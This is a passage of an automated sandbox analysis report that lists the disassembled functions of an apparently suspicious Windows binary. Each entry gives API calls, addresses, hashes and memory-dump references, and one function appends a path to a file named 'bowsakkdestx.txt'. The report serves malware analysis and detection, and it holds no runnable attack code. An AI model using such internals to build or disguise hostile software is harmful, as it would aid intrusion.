                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • __getenv_helper_nolock.LIBCMT ref: 00441726
                                                                                                                                                                                                                                                                • _strlen.LIBCMT ref: 00441734
                                                                                                                                                                                                                                                                  • Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208
                                                                                                                                                                                                                                                                • _strnlen.LIBCMT ref: 004417BF
                                                                                                                                                                                                                                                                • __lock.LIBCMT ref: 004417D0
                                                                                                                                                                                                                                                                • __getenv_helper_nolock.LIBCMT ref: 004417DB
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2168648987-0
                                                                                                                                                                                                                                                                • Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
                                                                                                                                                                                                                                                                • Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • GetLogicalDrives.KERNEL32 ref: 00410A75
                                                                                                                                                                                                                                                                • SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
                                                                                                                                                                                                                                                                • PathFileExistsA.SHLWAPI(?), ref: 00410AF9
                                                                                                                                                                                                                                                                • SetErrorMode.KERNEL32(00000000), ref: 00410B02
                                                                                                                                                                                                                                                                • GetDriveTypeA.KERNEL32(?), ref: 00410B1B
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 2560635915-0
                                                                                                                                                                                                                                                                • Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
                                                                                                                                                                                                                                                                • Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • _malloc.LIBCMT ref: 0043B70B
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007F0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5
                                                                                                                                                                                                                                                                • _free.LIBCMT ref: 0043B71E
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AllocateHeap_free_malloc
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1020059152-0
                                                                                                                                                                                                                                                                • Opcode ID: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
                                                                                                                                                                                                                                                                • Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
                                                                                                                                                                                                                                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
                                                                                                                                                                                                                                                                • DispatchMessageW.USER32(?), ref: 0041F0B6
                                                                                                                                                                                                                                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
                                                                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Message$Peek$DispatchObjectPostSingleThreadWait
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1380987712-0
                                                                                                                                                                                                                                                                • Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
                                                                                                                                                                                                                                                                • Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
                                                                                                                                                                                                                                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
                                                                                                                                                                                                                                                                • DispatchMessageW.USER32(?), ref: 0041E546
                                                                                                                                                                                                                                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
                                                                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Message$Peek$DispatchObjectPostSingleThreadWait
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1380987712-0
                                                                                                                                                                                                                                                                • Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
                                                                                                                                                                                                                                                                • Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
                                                                                                                                                                                                                                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
                                                                                                                                                                                                                                                                • DispatchMessageW.USER32(?), ref: 0041FA7B
                                                                                                                                                                                                                                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
                                                                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Message$Peek$DispatchObjectPostSingleThreadWait
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1380987712-0
                                                                                                                                                                                                                                                                • Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
                                                                                                                                                                                                                                                                • Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FE03
                                                                                                                                                                                                                                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE21
                                                                                                                                                                                                                                                                • DispatchMessageW.USER32(?), ref: 0041FE2B
                                                                                                                                                                                                                                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FE39
                                                                                                                                                                                                                                                                • WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Message$Peek$DispatchObjectPostSingleThreadWait
                                                                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                                                                • API String ID: 1380987712-0
                                                                                                                                                                                                                                                                • Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
                                                                                                                                                                                                                                                                • Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memmove
                                                                                                                                                                                                                                                                • String ID: invalid string position$string too long
                                                                                                                                                                                                                                                                • API String ID: 4104443479-4289949731
                                                                                                                                                                                                                                                                • Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
                                                                                                                                                                                                                                                                • Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memmove
                                                                                                                                                                                                                                                                • String ID: invalid string position$string too long
                                                                                                                                                                                                                                                                • API String ID: 4104443479-4289949731
                                                                                                                                                                                                                                                                • Opcode ID: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
                                                                                                                                                                                                                                                                • Instruction ID: c789d4a5c221ce0c411dffae1b259be01e75b302f83ceaf2f45b858c9c7e4579
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 1860cadd0784f8812835e732d2f60387060861baec5cac242feb419a09eb11c6
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3D311430300204ABDB28DE5CD8859AA77B6EFC17507600A5EF865CB381D739EDC18BAD
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00425341 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _wcsnlen
                                                                                                                                                                                                                                                                • String ID: U
                                                                                                                                                                                                                                                                • API String ID: 3628947076-3372436214
                                                                                                                                                                                                                                                                • Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
                                                                                                                                                                                                                                                                • Instruction ID: 96f9a77ca4cc4fe958c434aa827cb810c13d5acf0ea92317e974609e7887e837
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 6521C9717046286BEB10DAA5BC41BBB739CDB85750FD0416BFD08C6190EA79994046AD
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0045AD50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 91COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: _memset
                                                                                                                                                                                                                                                                • String ID: .\crypto\buffer\buffer.c$C7F
                                                                                                                                                                                                                                                                • API String ID: 2102423945-2013712220
                                                                                                                                                                                                                                                                • Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
                                                                                                                                                                                                                                                                • Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                • 8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: StringUuid$CreateFree
                                                                                                                                                                                                                                                                • String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
                                                                                                                                                                                                                                                                • API String ID: 3044360575-2335240114
                                                                                                                                                                                                                                                                • Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
                                                                                                                                                                                                                                                                • Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
                                                                                                                                                                                                                                                                • PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: Path$AppendFolder
                                                                                                                                                                                                                                                                • String ID: bowsakkdestx.txt
                                                                                                                                                                                                                                                                • API String ID: 29327785-2616962270
                                                                                                                                                                                                                                                                • Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
                                                                                                                                                                                                                                                                • Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
                                                                                                                                                                                                                                                                • Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
                                                                                                                                                                                                                                                                • Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5
                                                                                                                                                                                                                                                                Uniqueness

                                                                                                                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON
                                                                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                                                                • _malloc.LIBCMT ref: 00423B64
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
                                                                                                                                                                                                                                                                  • Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007F0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5
                                                                                                                                                                                                                                                                • std::exception::exception.LIBCMT ref: 00423B82
                                                                                                                                                                                                                                                                • __CxxThrowException@8.LIBCMT ref: 00423B97
                                                                                                                                                                                                                                                                  • Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F
                                                                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                                                                • Source File: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                • Associated: 0000000B.00000002.2423355018.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                • Snapshot File: hcaresult_11_2_400000_EE23.jbxd
                                                                                                                                                                                                                                                                Yara matches
                                                                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                                                                • API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
                                                                                                                                                                                                                                                                • String ID: bad allocation
                                                                                                                                                                                                                                                                • API String ID: 3074076210-2104205924
                                                                                                                                                                                                                                                                • Opcode ID: 241cfa4299846a07ecc57268e606ba0db0d865f968b84549374c8695ce3f7968
                                                                                                                                                                                                                                                                • Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
